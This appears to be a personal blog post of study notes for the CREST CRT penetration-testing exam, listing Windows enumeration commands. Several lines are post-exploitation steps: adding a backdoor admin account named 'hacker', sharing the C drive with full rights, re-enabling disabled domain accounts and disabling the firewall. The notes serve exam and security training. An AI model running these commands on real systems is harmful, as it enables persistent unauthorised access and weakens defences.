CREST CRT Exam Preparation

I'm going to be taking the CREST CRT exam in January and wanted to share my preparation notes with the world to save everyone else the time and effort of digging up this information to pass the exam.

Note: I have not taken the exam yet, I do not know the answers and am in no way affiliated with CREST.
Note Note: I passed the exam. Due to confidentiality reasons I can't provide any hints I will however leave this post up to assist future participants :)

What have we gota do? 

First things first, the official CREST site and CRT page is here:
http://www.crest-approved.org/information-security-testers/registered-tester/index.html

To quote the official documentation - "The Certification Examination has two components: a multiple choice written question section and a practical assessment which is also examined using multiple choice answers. The practical assessment tests candidates’ hands-on penetration testing methodology and skills against reference networks, hosts and applications."

For the "written question" section I'd recommend Wikipedia or some SANS/CEH material. For the practical side of things see below.

Getting hands-on!

My goal during the practical exam is to be as quick and efficient as possible. I want to minimize time spent analyzing results, configuring tools or writing custom stuff and maximize time spent answering questions! I plan to use a Windows box with Kali Linux VM. Below is my full list of tools and one-liners:

WINDOWS COMMANDS

https://docs.google.com/document/d/1U10isynOpQtrIK6ChuReu-K1WHTJm4fgG3joiuz43rw/edit

ipconfig /all	Displays the full information about your NIC’s.
ipconfig /displaydns	Displays your local DNS cache.
netstat -nabo	Lists ports / connections with corresponding process (-b), don’t perform looking (-n), all connections (-a) and owning process ID (-o)
netstat -r	Displays the routing table
netstat -anob | findstr “services, process or port”	The “b” flag makes the command take longer but will output the process name using each of the connections.
netsh diag show all	{XP only} Shows information on network services and adapters
net view	Queries NBNS/SMB (SAMBA) and tries to find all hosts in your current workgroup or domain.
net view /domain	List all domains available to the host
net view /domain:otherdomain	Queries NBNS/SMB (SAMBA) and tries to find all hosts in the ‘otherdomain’
net user %USERNAME% /domain	Pulls information on the current user, if they are a domain user. If you are a local user then you just drop the /domain. Important things to note are login times, last time changed password, logon scripts, and group membership
net user /domain	Lists all of the domain users
net accounts	Prints the password policy for the local system. This can be different and superseded by the domain policy.
net accounts /domain	Prints the password policy for the domain
net localgroup administrators	Prints the members of the Administrators local group
net localgroup administrators /domain	as this was supposed to use localgroup & domain, this actually another way of getting *current* domain admins
net group “Domain Admins” /domain	Prints the members of the Domain Admins group
net group “Enterprise Admins” /domain	Prints the members of the Enterprise Admins group
net group “Domain Controllers” /domain	Prints the list of Domain Controllers for the current domain
net share	Displays your currently shared SMB entries, and what path(s) they point to
net session | find / “\\”
arp -a	Lists all the systems currently in the machine’s ARP table.
route print	Prints the machine’s routing table. This can be good for finding other networks and static routes that have been put in place
whoami	View the current user
tasklist /v	List processes
taskkill /F /IM "cmd.exe"	Kill a process by its name
net user hacker hacker /add	Creates a new local (to the victim) user called ‘hacker’ with the password of ‘hacker’
net localgroup administrators hacker /add	Adds the new user ‘hacker’ to the local administrators group
net share nothing$=C:\ /grant:hacker,FULL /unlimited	Shares the C drive (you can specify any drive) out as a Windows share and grants the user ‘hacker’ full rights to access, or modify anything on that drive. One thing to note is that in newer (will have to look up exactly when, I believe since XP SP2) windows versions, share permissions and file permissions are separated. Since we added our selves as a local admin this isn’t a problem but it is something to keep in mind
net user username /active:yes /domain	Changes an inactive / disabled account to active. This can useful for re-enabling old domain admins to use, but still puts up a red flag if those accounts are being watched.
netsh firewall set opmode disable	Disables the local windows firewall

wmic useraccount get name,sid     -  Retrieve name and sid from command line.
